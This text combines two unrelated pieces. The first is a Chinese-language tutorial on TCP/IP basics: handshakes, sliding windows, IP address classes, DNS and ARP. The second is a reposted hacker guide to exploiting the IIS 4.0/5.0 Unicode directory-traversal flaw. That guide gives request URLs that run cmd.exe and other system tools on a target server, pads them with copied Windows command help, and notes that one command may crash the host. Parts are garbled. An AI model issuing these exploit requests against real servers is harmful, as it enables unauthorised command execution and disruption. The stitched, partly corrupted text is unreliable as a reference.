    TCP（Transmission Control Protocol）传输控制协定，为端对端（end-to-end）传输层内最重要的协定之 一。TCP为通讯两端的应用程式提供了一个连结导向（connection-oriented）可靠的（reliable）、位元资料流（ byte-stream）导向的服务、与UDP（User Datagram Protocol）同为担负应用层与网路层间资料传输工作的 重要协 定。由於TCP常与IP搭配进行资料传输工作，因此合称为TCP/IP协定群。

TCP的协定分层原则

    设计分层协定时，接收方第N层协定收到的物件（object）应当与发送方第N层协定发送的物件完全一致，此种设计方式使得设计者每次仅需关注一层协定，不必考虑低层的行为。举例而言，虽然在实际的运作上，传输层的TCP协定接收来自上层应用程式的资料并将之切分为合适的资料段（segment），并加上适当的表头（header）资料後，交由下层的网路层，链结层进行资料的传输工作然而在逻辑上，我们却可将之视为是接收与发送两端的传输层藉由TCP协定进行资料的传输，协定间的对谈只发生在同一层的相同协定之间。

TCP的资料传输流程与资料封装的方式

     资料流动则是由发源层依序传至最底层，之後透过传输介质送抵对方的最底层，再依序传至目标层，每一层将资料传至下一层之前会先於其资料区块的前端附加一称作表头（header）的控制资讯，此表头记录了该资料块相对於该层的特性及资讯，每一层会将上一层传来的资料连同其表头一同视为上层的资料，并附加该层的表头之後再送至下一层，这种资料封装(encapsulation)过程大抵上与OSI描述的相同，当资料送抵对方时也会发生解封装(decapsulation)动作，意即，每一层由下一层收到资料之後，会先剥去该层的表头，之後再将剩余的部份送至上一层

TCP的主要特徵

所谓连线导向(connection-oriented)系指TCP首先利用控制资讯和对方建立连线，也就是连线前的握手(handshake)动作，之後再传送资料，最後还有终止连线的动作。

TCP采三向式握手(three-wayhandshake)建立连线，首先，由客户端向伺服端发出SYN讯息，表示要求建立TCP连线，若伺服端接受连线，则回应SYN/ACK讯息，客户端收到之後再回应ACK讯息，然後即可开始传送资料。

TCP是一个完整传输协定的典范，采用下列最基本的可靠性技术，达成其可靠传输的机制

当传送的资料送达接收方时，让发送方知道资料已经送达了，发送方发出资料後，要等待此一应答确认，收到应答确认後才再发出下一个资料，因此，可靠性较高，此种一来一往的机制俗称「握手」(Shake Hand)。

当接收端收到一段资料即会回应一个认可(ACK)讯息，其中包含一所收到资料段之序号+1的认可号码(acknowledgement number)。TCP在回应认可讯息时还使用一种挟带(piggy backing)技巧将认可讯息附带在可能有的资料段中一并传给对方，如此可降低单独的认可讯息对网路频宽的耗费。

TCP另一个确保资料正确传输的技巧是正向认可与重传(PAR)机制，发送端若於指定时段内未收到另一端对於已送出资料段的认可讯息时（有发送封包丢失及应答确认丢失两种情况），会重新送出相同的资料段，TCP将重复尝试数次，直到对方回应认可讯息之後再送出下个资料段，若重复尝试失败，则TCP将通知应用层“失去连线”这类的讯息。

当发送方在发出资料後，若收不到应答确认，则进行重发处理，然而，有时候也会因为某些原因，使得应答确认封包的到达延迟，资料重发後才收到应答确认的封包，此种情况下，接收方将会接收到重复的资料，为避免因此造成上层应用程式发生混乱，维持正常的连接，必须把重复收到的资料舍弃掉，为此必须有一种对已收到的资料进行识别，判断其是否必要的机制，TCP运用序号（Sequence Number）管理的方式达成此一机制

在资料传输时，TCP将上层应用程式传来的资料　以 8 bits（即 1 byte）为单位给予一个计数的号码　即每个序号均分别代表 1 byte 的资料，如此即可运用序号进行资料传输的管理， 在连接设定时，双方的序号必须是同步的，以後根据发送的资料量对序号进行加法运算。

TCP采核对合(checksum)计算资料段的正确性该核对合位於资料段的表头，当TCP收到资料段时，会将它所计算的合与表头的核对合相比对，若相同，则送出认可讯息，表示接收无误，否则忽略该资料段，在一小段时间的等待之後，对方会再次送来同一个资料段

TCP运用滑动窗(slidingwindow)的方式进行流量控制,TCP的考量是，由於每个资料段在被送出之後不会立即抵达目标，而是会有一段时间的旅行，为避免因等待接收端的认可讯息所造成的闲置，发送端可在未收到前一个资料段的认可讯息的情况下持续发送数个资料段，此处的数个即是所谓的滑动窗长度。

TCP的滑动窗(Sliding Window

以上图为例，其中的号码为资料段的序号，由图可看出，发送端已收到资料段3、4的认可讯息，换言之，接收端已“ 确实” 收到这些资料段，发送端虽尚未收到5、6、7等资料段的认可讯息，但由於尚未超出滑动窗的范围(5～9)故可继续送出资料段，直到送出第9个资料段之後，即得停下来等待接收端的认可讯息，由於在传送过程中，发送端随时可收到接收端的认可，故滑动窗的起始位置将不断地往前移动，该名称的由来即缘於此。
滑动窗的长度视网路连线状态而定，通常可由参数设定之，但参数设定值仅作为参考之用TCP尚会依据实际的连线品质自动调整滑动窗长度。

TCP资料流服务允许全双工传输，在应用程式行程看来，全双工连接含两个独立的反向资料流，二者无明显的相互作用。

我们可以将两个应用程式之间大量资料传输时的资料理解为位元资料流，该资料流被分成若干8位元的位元组接收端收到的位元组序列与发送端发送的位元组序列完全相同。

为提高效率，减少网路传输次数，协定软体通常在资料流中收集到足够的资料构成一个相当大的资料区块後才发送出去，如此一来，即使应用程式每次产生一个位元组的资料流，协定软体也能保证高效率的传输，反之当应用程式产生大资料量的资料流时　协定软体则将之分成较小的片段以便传输。

TCP资料流服务不支援结构化资料流，以工资管理程式为例，我们并不能要求资料流服务标记雇员之间的边界或将资料流理解为工资资料，对资料流格式和内容的把握纯属应用程式的事情。

TCP的传输资料结构

TCP称呼它的资料块为资料段，每个资料段由一TCP添加的表头与实际资料所组成，为令传送的资料可信赖，TCP运用数种技巧，首先为令资料段之间在传送时不至失去原有的次序，TCP在其资料段表头内设置了序号(sequence number)，接收端TCP可依照序号将之重组回原始资料的顺序。

TCP资料段可承载的最大资料段长度(MSS)一般预设为1460位元组，当然并不一定得采用此值，此值的理由在於目前最普遍的区域网路介质是Ethernet，其最大传输单元(MTU) 为1500位元组，将此值减去标准的IP表头(20位元组)及TCP表头(20位元组)的长度即得到1460，较正确的计算方式是将当地的传输介质的MTU-40方可获得正确的MSS值，MSS的值若过大，则在IP时段即得拆卸成数个更小的封包，增加更多额外的IP表头，MSS的值若过小，同样长度的资料即得分更多批传送，同样也会增加TCP的表头数量。

TCP的传输状态

在一个连结的生命周期中经历了一连串的状态：

LISTEN

SYN-SENT

SYN-RECEIVED

ESTABLISHED

FIN-WAIT-1

FIN-WAIT-2

CLOSE-WAIT

CLOSING

LAST-ACK

TIME-WAIT

以及虚构的状态CLOSED

主机与主机地址：

与Internet相连的任何一台计算机，不管是最大型的还是最小型的,都称为主机。其中有为成千上万的用户服务的大型机或巨型机，也有小型工作站或ＰＣ机，只要和Internet相连，都是主机。就是说，连接Internet的主机不论大小，都是平等关系。

为了实现各主机之间的通信，Internet 上的每个主机必须有一个地址，而且地址不允许重复。前面讲过，在网络上传输数据采用的分组传送，每一个数据分组的开头都必须包含一些附加信息，这些附加信息中最重要的就是发送数据的主机地址（称为源地址）和接收数据的主机地址（称为目标地址）。

IP地址：

Internet上主机的地址是由一个32 位的二进制数组成的号码，例如“瑞得在线”入网服务器主机地址为：10101000101000001110100100001010。为便于记忆，将这组32位的二进制数分成4组，每组8位，中间用小数点分隔，上述地址就转换为：168.160.233.10这就是IP地址。

IP地址也可以看成是由网络号码与主机号码两部分组成。网络号码用于区别连接在Internet上的无数个网络，主机号码用于区分该网络上的主机。例如：

网络号码：168.160.233.0 表示瑞得在线所拥有的地址段；

主机号码：10 表示瑞得在线的主机号

合起来的IP地址： 168.160.233.10表示Internet某台主机的地址。

因为有些网络上主机多，有的网络上主机少，所以网络可分为三种规模：

大型网络为Ａ类网络

中型网络为Ｂ类网络

小型网络为Ｃ类网络

当用十进制数表示时，每8位二进制数可表示0~255，除去0和255有特殊用途外，实际可用空间数为1~254。这时地址空间情况如下表所示：

网络数 网络 主机数 主机总数
Ａ类网络 126 16387064 2064770064
Ｂ类网络 16256 64516 1048872096
Ｃ类网络 2064512 254 524386048
总计 　 2084894 3638028208

从表中可以看出，Ａ类网络最少，每个网络可连接的主机数最多，适用于大型网络；Ｂ类网络适中，适用于中型网络，而Ｃ类网络最多，而每个网络上可连接的主机最少，适用于小型网络。

Router

Autonomous Routing System

IP Sub net Mask

域名：

虽然IP地址可以写成四组十进制数，但对一个普通用户仍然不好说明和记忆。正象日常生活中，谁也不用唯一的身份证号码来代表自己，而使用自己的姓名来代表自己一样。在Internet上是用主机的域名（或称主机名称）来代表一台主机。域名是由用小数点分隔的几组英文字母加数字组成。

例如：上例中IP地址是168.160.233.10的瑞得在线主机的域名为：rol.com.cn；域名的第二部分com，代表商业网点，第三部分rol是瑞得在线的缩写。

IP地址与域名的关系：

在Internet上的每一台主机都有唯一的IP地址。利用这个IP地址就可在Internet上找到这个主机。同样每台主机都有一个便于记忆的域名，通过域名也可以找到这台主机。

主机地址＝主机名＋域名

代 码 服务领域

com 商业部门

edu 教育领域

gov 政府部门

int 国际组织

mil 军事机构

net 网络领域

org 社会组织

IP地址与寻径：

我们知道,不同的物理网络技术有不同的编址方式;不同物理网络中的主机,有不同的物理网络地址. 网间网技术是将不同物理网络技术统一起来的高层软件技术,在统一的过程中, 首先要解决的就是地址的统一问题. 网间网技术采用一种全局通用的地址格式, 为全网的每一网络和主机都分配一个网间网地址(IP地址),以此屏蔽物理网络地址的差异。

ARP和RARP

IP地址将网络地址隐藏起来, 使网间网表现出统一的地址格式. 但在实际进行通讯时,物理网络所使用的依然是物理地址, IP地址是不能被物理层所识别的. 这样在网间网中存在两种地址,二者之间要建立映射关系, 这是地址统一所必须付出的代价.

地址之间的映射叫地址解析(resolotion), 包括两方面的内容: 从网间网地址到物理地址的映射和从物理地址到网间网地址的映射. 关于两种地址间的映射, TCP/IP专门提供了两个协议: ARP(Address Resolution Protocol, 地址解析协议), 用于从网间网地址到物理地址的映射;RARP(Reverse Address Resolution Protocol, 逆向地址解析协议), 用于从物理地址到网间网地址的映射。

DNS

IP地址用于IP及IP以上的高层协议中, 其目的在于屏蔽物理地址的细节, 在网间网内部提供一种全局性的通用地址, IP地址为上层软件设计实现提供了很大方便. 然而, 对于一般用户来说,IP地址还是太抽象, 难于记忆也难于理解.

为了向用户提供一种直观明白的主机标识符, TCP/IP专门设计一种字符型的主机名字机制, 这就是本节将要谈到的DNS(Domain Name System, 域名系统).

IP寻径

寻径是网络传输的一个重要概念, 指寻找一条将分组从信源机传往信宿机的传输路径的过程.对寻径的需求存在于几乎所有的点到点存储转发子网中. 比如一般的广域网,其拓扑结构往往是不规则的点到点的网状结构, 从网中一端到另一端没有确定的路径, 非寻径不可。


Unicode漏洞全套使用方法

Unicode漏洞全套使用方法

出自：第八军团

樱桃八哥整理

===============================================================================================
这就是Unicode漏洞的基本用法↓↓↓↓↓↓↓如果你明白Unicode的用法就可以省略下面的知识↓↓↓↓↓↓
===============================================================================================
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在的安全漏洞已经成为了黑客们忠爱的漏洞之一，有希望成
为2000年最大的漏洞之一。
--------------------------------------------------------------------------------------------
=================>关于unicode漏洞的Win2000命令详解<=========================
1。
http://192.168.100.2/scripts/..%c1%1c../winnt/system32/arp.exe?-a
arp命令
显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了
TCP/IP 协议之后才可用。
arp -a [inet_addr] [-N [if_addr]]
参数
-a
通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。
------------------------------------------------------------------------------------------------
2.
http://192.168.100.2/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+assoc
Assoc
显示或修改文件名扩展关联。
assoc [.ext[=[filetype]]]
参数
无
显示当前文件关联。要每次查看一屏关联，请再加上 more 命令。要将输出重定向到文件，请添加
>filename.ext 命令。
.ext
指定要查看或更改关联的文件扩展名。
键入 assoc .ext 查看文件扩展名的当前关联。
键入 assoc . ext= 删除文件扩展名关联。
filetype
指定要 Windows 2000 将其与指定的文件扩展名关联的文件类型。
------------------------------------------------------------------------------------------------
3.
at命令
At
列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。必须正在运行“计划”服务才能使
用 at 命令。
at [\\computername] [[id] [/delete] /delete [/yes]]
at [\\computername] time [/interactive] [/everyate[,...] /nextate[,...]] command
参数
无
如果在没有参数的情况下使用，则 at 列出已计划的命令。
\\computername
指定远程计算机。如果省略该参数，命令将安排在本地计算机。
id
指定指派给已计划命令的识别码。
/delete
取消已计划的命令。如果省略了 id，计算机中已计划的命令将被全部取消。
/yes
当删除已计划的事件时，对系统的查询强制进行肯定的回答。
time
指定运行命令的时间。将时间以 24 小时标记（00:00 [午夜] 到 23:59）的方式表示为小时：分钟。
/interactive
允许作业与在作业运行时登录用户的桌面进行交互。
/everyate[,...]
在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行命令。将 date 指定为星期的一天或
多天 (M,T,W,Th,F,S,Su)，或月的一天或多天（使用 1 到 31 的数字）。用逗号分隔多个日期项。如果省略了
date，将假定为该月的当前日期。
/nextate[,...]
在重复出现下一天（例如，下个星期四）时，运行指定命令将 date 指定为星期的一天或多天
(M,T,W,Th,F,S,Su)，或月的一天或多天（使用 1 到 31 的数字）。用逗号分隔多个日期项。如果省略了
date，将假定为该月的当前日期。
command
指定要运行的 Windows 2000 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当
命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，
请指定服务器和共享名的 UNC 符号，而不是远程驱动器号。如果命令不是可执行 (.exe) 文件，必须在命令
前加上 cmd /c，例如：cmd /c dir > c:\test.out
----------------------------------------------------------------------------------------------
4.
http://192.168.100.2/scripts/..%c1%1c../winnt/system32/attrib.exe?%20h.txt
attrib命令
Attrib
显示或更改文件属性。
该命令显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。

attrib [+r-r] [+a-a] [+s-s] [+h-h] [[drive:][path] filename] [/s[/d]]

参数

+r

设置只读文件属性。

-r

清除只读文件属性。

+a

设置存档文件属性。

-a

清除存档文件属性。

+s

将文件设置为系统文件。

-s

清除系统文件属性。

+h

将文件设置为隐藏文件。

-h

清除隐藏文件属性。

[[drive:][path] filename]

指定要处理的目录、文件或文件集的位置和名称。可以在 filename 参数中使用通配字符（? 和 *）显示或更改一组文件的属性。

/s

处理在当前目录及其全部子目录中的匹配文件。

/d

处理目录。

Attrib
范例
要显示当前驱动器上文件 News86 的属性，请键入以下命令：

attrib news86

要将只读属性指派给文件 Report.txt，请键入以下命令：

attrib +r report.txt

要从驱动器 B 中磁盘上 \Public\Jones 目录中的文件和 \Public\Jones 任何子目录中的文件删除只读属性，请键入以下命令：

attrib -r b:\public\jones\*.* /s

最后一个示例，假定需要关联包含驱动器 A 中磁盘上的默认目录中全部文件（除了扩展名为 .bak 之外的文件
）的磁盘。因为可以使用 xcopy 只复制那些标记为存档属性的文件，所以需要将那些要复制的文件设置为“存
档”属性。为此，请使用以下两个命令将驱动器 A 上的所有文件设置为“存档”属性，然后清除带 .bak 扩展
名的文件的“存档”属性：

attrib +a a:*.* attrib -a a:*.bak

下一步，使用 xcopy 命令将驱动器 A 中磁盘上的文件复制到驱动器 B 中的磁盘上。以下命令中的 /a 开关使
xcopy 只复制标记为“存档”属性的文件：

xcopy a:b:/a

如果需要 xcopy 在复制文件后清除每个文件的“存档”属性，请使用 /m 开关而不是 /a，如下例所述：

xcopy a:b:/m

Attrib
说明
组文件

可以在 filename 参数中使用通配符（? 和 *）显示或更改一组文件的属性。如果文件设置了“系统”或“隐
藏”属性，您必须在更改该文件其他属性之前清除该属性。

存档属性

“存档”属性 (+a) 用来标记那些自从以前备份以来已经更改的文件。xcopy 命令使用这些“存档”属性。有
关 xcopy 的“存档”属性的信息，请查看“相关主题”。
------------------------------------------------------------------------------------------------
5. http://192.168.100.2/scripts/..á../winnt/system32/cacls.exe?c.exe
cacls命令
Cacls
显示或修改文件的访问控制列表 (ACL)。

cacls filename [/t] [/e] [/c] [/g usererm] [/r user [...]] [/p usererm [...]] [/d user [...]]

参数

filename

显示指定文件的 ACL。

/t

更改当前目录和所有子目录中指定文件的 ACL。

/e

编辑 ACL 而不是替换它。

/c

忽略错误，继续修改 ACL。

/g userer

授予指定用户访问权限。Perm 可以是:

n 无

r 读取

c 更改（写入）

f 完全控制

/r user

吊销指定用户访问权限。

/p usererm

替换指定用户的访问权限。Perm 可以是：

n 无

r 读取

c 更改（写入）

f 完全控制

/d user

拒绝指定的用户访问。

在一个命令中可以指定多个文件或用户。
------------------------------------------------------------------------------------------------
6.
http://192.168.100.2/scripts/c.exe?/c+cd
cd 命令
Chdir (Cd)
显示当前目录名称，或者更改当前的文件夹。

chdir [/d] [drive:][path] [..]

-或-

cd [/d] [drive:][path] [..]

参数

无

如果在没有参数的情况下使用，则 chdir 显示当前驱动器和文件夹的名字。只与驱动器号一起使用（例如
cd C:），chdir 将显示指定驱动器上的当前目录。

[/d]

除了更改驱动器的当前目录外，还要更改当前的驱动器。在启用了命令扩展（Windows 2000 中默认）后，
当前目录名将被转换为与磁盘上实际目录名使用相同的大小写。所以，例如，如果 C 盘上有 Temp 目录的话，
cd C:\Temp 将当前目录设置为 C:\Temp。

[drive:][path]

指定要更改的驱动器（如果不是当前驱动器）和目录。

[..]

指定要更改为父文件夹。
Chdir
范例
下列任何一个命令会将当前目录更改成名为 Reports 的目录：

chdir \reports

cd \reports

假定您有名为 Specials 的目录，它包含了名为 Sponsors 的目录。要将当前目录更改到 \Specials\Sponsors，请键入以下命令：

cd \specials\sponsors

或者，如果您的当前目录是 \Specials，可以使用下面的命令来转换到 \Specials\Sponsors 目录：

cd sponsor

要将目录还原到父目录，请键入以下命令：

cd ..

要显示当前目录的名称，可以使用不带参数的 chdir 或 cd 命令。例如，如果当前的目录是 B 盘上的
\Public\Jones，则键入 chdir 将看到以下信息：

B:\Public\Jones

要在 D 盘上工作并将 C 盘中 \Public\Jones 和 \Public\Lewis 目录下的所有文件复制到 D 盘的根目录下，
请输入以下命令：

chdir c:\public\jones

copy c:*.* d:\

chdir c:\public\lewis

copy c:*.* d:\

反之，如果要将 \Public\Jones and \Public\Lewis 目录中的所有文件复制到驱动器 D 上的当前位置时，请
键入以下命令：

chdir c:\public\jones

copy c:*.* d:

chdir c:\public\lewis

copy c:*.* d:

Chdir
说明
在 chdir 的路径中使用空格

在启用了命令扩展后（Windows 2000 中默认），可以使用 chdir 命令更改包含空格但没用引号包括名字的
目录名。例如：

cd \winnt\profiles\username\programs\start menu

与下列内容相同：

cd "\winnt\profiles\username\programs\start menu"

它是在禁用扩展名时必须键入的内容。

更改到根目录

根目录是驱动器的目录树状结构的顶层。要返回到根目录，请键入以下命令：

cd\

使用不同驱动器的当前目录

如果正在 C 盘的 \Public\Jones 目录下工作而又要更改到 D 盘，只通过指定驱动器号 C 就可复制
\Public\Jones 目录中的文件或将文件复制到该目录。

更改其他驱动器上的目录

在使用 chdir 时通过在命令行上指定驱动器名称，可以更改其他驱动器上的当前目录。
-----------------------------------------------------------------------------------------------
7.
http://192.168.100.2/scripts/c.exe?/c+chkdsk%20c:\(因为chkdsk命令是独占式命令,所以检查该主机的系
统盘，有可能导致主机当机,)
Chkdsk
基于所用的文件系统，创建和显示磁盘的状态报告。Chkdsk 也列出并纠正磁盘上的错误。如果 chkdsk 不
能锁定驱动器，则它将在下一次重新启动计算机时检查该驱动器。

在固定磁盘上发布 chkdsk 命令需要您是该 Administrators 组的成员。

chkdsk [drive:][[path] filename] [/f] [/v] [/r] [/l[:size]] [/x]

参数

无

如果在没有参数的情况下使用，则 chkdsk 显示当前驱动器中的磁盘状态。

drive:

指定要 chkdsk 检查的磁盘所在的驱动器。

[path] filename

指定需要 chkdsk 检查碎片整理的文件或文件集的位置和名称。使用通配字符（* 和 ?）可以指定多个文件。

/f

修复磁盘错误必须锁定磁盘。如果 chkdsk 不能锁定驱动器，则它将在下一次重新启动计算机时检查该驱动器。

/v

当检查磁盘时，显示所有目录中每个文件的名称。

/r

定位坏扇区并恢复可读取的信息。必须锁定磁盘。

/l[:size]

仅限于 NTFS。将日志文件的大小更改为输入的大小。如果不输入新内容，则显示当前大小。

/x

仅限于 NTFS。如果必要，首先强制卸载卷。然后所有对卷打开的句柄将变为无效。该开关也包含 /f 开关的
功能。

/i

仅限于 NTFS。对索引项执行充分检查，降低运行 chkdsk 的所用时间量。

/c

仅限于 NTFS。跳过文件夹结构中的周期检查，减少运行 chkdsk 所需的时间量。

Chkdsk
范例
如果要检查在驱动器 D 中的磁盘并让 Windows 2000 修复碰到的任何错误，请键入以下命令：

chkdsk d:/f

如果碰到错误，Chkdsk 暂停并显示消息。Chkdsk 通过显示磁盘状态报告结束。指定的驱动器上也没有文件
可以打开。

在 FAT 磁盘上，要检查当前目录中所有文件的不相邻块，请键入

chkdsk *.*

Chkdsk 显示状态报告，然后列出与不相邻块的文件相匹配的文件。
Chkdsk
说明
Chkdsk 检查磁盘空间并用于 NTFS 和 FAT 文件系统。状态报告提供每个文件系统的特定信息。状态报告显示
文件系统中找到的错误。

如果磁盘上存在错误，chkdsk 会利用消息警告您，如果使用了 /f 开关，则会纠正错误。Chkdsk 必须可以
锁定驱动器以纠正错误。如果发现错误但无法锁定驱动器，则会显示错误消息。如果在活动分区不使用 /f 开
关就运行 chkdsk，系统会因为没有锁定卷而报告虚假错误。

应该不定期使用 chkdsk 检查每个磁盘上的错误。

重新启动时检查锁定的驱动器

当 chkdsk 纠正找到的磁盘错误时，磁盘上的文件无法打开。如果文件打开，chkdsk 将在计算机下次重新启
动时检查驱动器。如果选择在下次启动计算机时检查驱动器，系统将在重启动时自动检查驱动器并更正错误。
如果驱动器分区是启动分区，在检查驱动器后，它将重新启动计算机。

检查 FAT 磁盘

Windows 2000 以下列格式为 FAT 磁盘显示 chkdsk 状态报告：

Volume Serial Number is B1AF-AFBF

72214528 bytes total disk space

73728 bytes in 3 hidden files

30720 bytes in 12 directories

11493376 bytes in 386 user files

61440 bytes in bad sectors

60555264 bytes available on disk

2048 bytes in each allocation unit

35261 total allocation units on disk

29568 available allocation units on disk

检查 NTFS 磁盘

Windows 2000 以下列格式为 NTFS 磁盘显示 chkdsk 状态报告：

The type of the file system is NTFS.

CHKDSK is verifying files...

File verification completed.

CHKDSK is verifying indexes...

Index verification completed.

CHKDSK is verifying security descriptors...

Security descriptor verification completed.

12372 kilobytes total disk space.

3 kilobytes in 1 user files.

2 kilobytes in 1 indexes.

4217 kilobytes in use by the system.

8150 kilobytes available on disk.

512 bytes in each allocation unit.

24745 total allocation units on disk.

16301 allocation units available on disk.

修复磁盘错误

只有指定 /f 开关，chkdsk 命令才纠正磁盘错误。由于修复通常会更改磁盘的文件分配表，有时还会丢失数
据，因此 chkdsk 先以类似的以下确认消息提示您：

10 lost allocation units found in 3 chains.

Convert lost chains to files?

如果按 Y，Windows 2000 将根目录中的所有丢失链保存在一个以 nnnn.chk 命名的文件中。chkdsk 结束后，
可以查看这些文件是否包含了所需的数据。如果按 N，Windows 2000 修复磁盘但不保存丢失配置单元中的内
容。

如果不使用 /f 开关，chkdsk 将提出文件是否需要修复的警告信息但不会修复错误。

如果在大磁盘（例如，70 GB）或有大量文件（数百万）的磁盘上使用 chkdsk /f，chkdsk 可能要花费很长的
时间（可能以天来计算）才能完成。因为 chkdsk 直到完成后才释放控制权，所以计算机在这段时间内不可用。

对打开的文件使用 chkdsk

如果指定 /f 开关，并在磁盘上发现了打开的文件，chkdsk 将显示错误。如果不指定 /f 开关并打开现有文
件，chkdsk 会报告磁盘上丢失的分配单元。如果打开的文件没有记录在文件分配表时，可能会发生这种情况。
如果 chkdsk 报告大量分配单元丢失，可以考虑修复该磁盘。

物理盘错误

使用 /r 开关查找文件系统中的物理磁盘错误。有关恢复物理损坏文件的信息，请查看 recover 命令。

损坏的磁盘扇区

在磁盘第一次准备运行时，chkdsk 报告的坏扇区标记为损坏。它们不会造成危险。

退出代码

0 没有发现错误。
1 错误已找到并修复。
2 已执行清理磁盘（例如碎片收集），或者因为没有指定 /f 而未执行清理磁盘。
3 由于未指定 /f 选项，无法检查磁盘，错误不能修复或错误未修复。

chkntfs和chkdsk命令有相同特点，所不同的是chkntfs监查的是ntfs分区
Chkntfs
显示或指定在启动计算机时计划的自动系统检查是否在 FAT、FAT32 或者 NTFS 卷上运行。

必须是本地管理组的成员才能使用 chkntfs 命令。

chkntfs [/t[:time]] [/x] [/c] volume: [...]

chkntfs /d

参数

volume:

显示有关消息，识别指定卷的文件系统，并（如果已计划将运行自动文件检查）指出卷是否已损坏，需要运行
chkdsk。

/d

还原所有 chkntfs 默认设置，除了自动文件检查的倒计时之外。计算机启动时，默认操作是检查所有卷。

/t

显示或更改用于自动文件检查的倒计时时间。例如：

chkntfs /t 显示自动文件检查的倒计时。

chkntfs /t:30 将倒计时更改为 30 秒。

尽管可以将倒计时时间设置为零，但是这样做可以防止用户将潜在耗时的自动文件检查取消。

/x

排除计算机启动时检查指定卷，即使该卷标记为需要 chkdsk 才能运行。

该命令不是积累的。如果输入多次，它将替代以前的项。要排除多个卷，请在一个命令中将所有卷列出
例如：

chkntfs /x e: f: 排除 e 和 f 卷。

chkntfs /x e:，后接 chkntfs /x f:，将从已经检查的卷中只排除 f 卷。

/c

计划当计算机启动时对指定卷的检查时间。

此命令是积累的。如果只需要检查指定的卷，请首先重设默认值以清除任何以前的命令，然后从已检查的卷中
将所有的卷排除检查，最后在所需卷上计划自动文件检查。

例如，只想在 d 卷上计划自动检查文件，可以键入如下命令：

chkntfs /d （这将还原默认设置。）

chkntfs /x c: d: e:（这排除对 c、d 和 e 卷的检查。）

chkntfs /c d:（此操作计划对 d 卷上的文件进行自动检查。）
-----------------------------------------------------------
8。

http://192.168.100.1/scripts/..%c1%1c../winnt/system32/cipher.exe?/
cipher命令
Cipher
在 NTFS 卷上显示或改变文件的加密。

cipher [/e /d] [/sir] [/a][/i] [/f] [/q] [/h] [pathname [...]]

参数

无

不带参数使用，将显示当前文件夹和其包含文件的加密状态。

/e

加密指定的文件夹。文件夹将被标记，以后添加到此文件夹中的文件将被加密。

/d

将指定的文件夹解密。文件夹将被标记，以后将会不加密添加到此文件夹的文件。

/s: dir

对在给定目录及全部子目录中的文件执行指定操作。

/a

对带指定名称的文件执行所选操作。如果没有匹配的文件，该参数将被忽略。

/i

即使发生错误，系统仍然继续执行指定的操作。默认情况下，遇到错误时 cipher 会停止。

/f

对所有指定的对象进行加密或解密。默认情况下，已加密或解密的文件被跳过。

/q

只报告最基本的信息。

/h

显示带隐藏或系统属性的文件。默认情况下，这些文件是不加密或解密的。

pathname

指定样式、文件或文件夹。

Cipher
范例
要使用 cipher 命令加密文件夹 MonthlyReports 中的子文件夹 May，请键入下列命令：

cipher /e monthlyreports\may

要加密 MonthlyReports 文件夹中的 January 到 December 子文件夹以及 month 子文件夹中
的 Manufacturing 子文件夹，请键入：

cipher /e /s:monthlyreports

如果只想加 May 子文件夹中的 Marketing.xls 文件，请键入：

cipher /e /a monthlyreports\may\marketing.xls

要加密 May 文件夹中的 Marketing.xls 文件、Maintenance.doc 文件以及 Manufacturing 子文件夹，
请键入：

cipher /e /a monthlyreports\may\ma*

要确定 May 是否已加密，请键入：

cipher monthlyreports\may

要确定 May 文件夹中哪些文件已加密，请键入：

cipher monthlyreports\may\*

Cipher
注意
加密或解密文件
要防止加密文件在修改时变为解密，建议您将文件和其存放的文件夹两者一同加密。

多个文件夹名称
可以使用多个文件夹名称和通配符。

多个参数
每个参数之间至少有一个空格分隔。
-----------------------------------------------------------------------------------------------
9.
http://192.168.100.1/scripts/..%c1%1c../winnt/system32/cluster.exe?/version
cluster命令
Cluster
cluster 命令的基本语法为：

cluster [[/cluster:]cluster name] /option

群集名称是可选的。如果没有指定群集，Cluster.exe 将尝试连接正在运行 Cluster.exe 的节点上运行
的群集。

如果没有指定选项，默认的选项为 /help。

如果群集名称也是群集命令或其缩写，例如 cluster 或 c，请使用 /cluster:明确指定群集名称。有关
所有群集命令的列表，请参阅相关主题。

下表描述可用的 cluster 选项：

选项 用于...
/rename:cluster name 重命名群集。
/version 显示“群集”服务的版本号。
/quorum[resource][:resourcename] [/path：path] [/maxlogsize:maximumsize in kilobytes] 更改仲裁资
源的名称或位置或者仲裁日志的大小。
/reg[admin]ext:admin extension dll [,admin extension dll...] 在群集中注册群集管理器扩展动态链接
库。
/unreg[admin]ext:admin extension dll [,admin extension dll...] 从群集中注销群集管理器扩展动态链
接库。
/list:[domain name] 显示计算机域或指定域中的群集列表。该选项不要使用群集名称。
/properties [property list] 查看或设置群集常用属性。有关属性列表的详细信息，请参阅属性列表。
/privproperties [property list] 查看或设置群集专用属性。有关属性列表的详细信息，请参阅属性列表。
/? 或 /help 显示 cluster 的语法。

例如，要将名为 OpsClust 的群集重命名为 OpsClust1，请在 Windows 2000 命令提示符下键入以下内容：

cluster opsclust /renamepsclust1

群集常用属性名
下表描述了常用的 cluster 属性名、用途及有效设置：

常用的属性名 用途
AdminExtensions 描述一个或多个用于群集对象的群集管理器扩展类标识符(CLSID)。
DefaultNetworkRole 指定要指派给网络的默认角色。
Description 指定群集的管理描述。
Security 描述 Windows 2000 兼容安全性的描述符。
SecurityDescriptor 描述 Windows NT-SP4 和 Windows 2000 兼容安全性的描述符。
Groups\AdminExtensions 描述一个或多个用于组的群集管理器扩展的类标识符 (CLSID)。
NetInterfaces\AdminExtensions 描述一个或多个用于网络接口的“群集管理器”扩展的类标识符(CLSID)。
Networks\AdminExtensions 描述一个或多个用于网络的“群集管理器”扩展的类标识符 (CLSID)。
Nodes\AdminExtensions 描述一个或多个用于节点的“群集管理器”扩展的类标识符 (CLSID)。
Resources\AdminExtensions 描述一个或多个用于资源的“群集管理器”扩展的类标识符 (CLSID)。
ResourceTypes\AdminExtensions 描述一个或多个用于资源类型的“群集管理器”扩展的类标识符 (CLSID)。
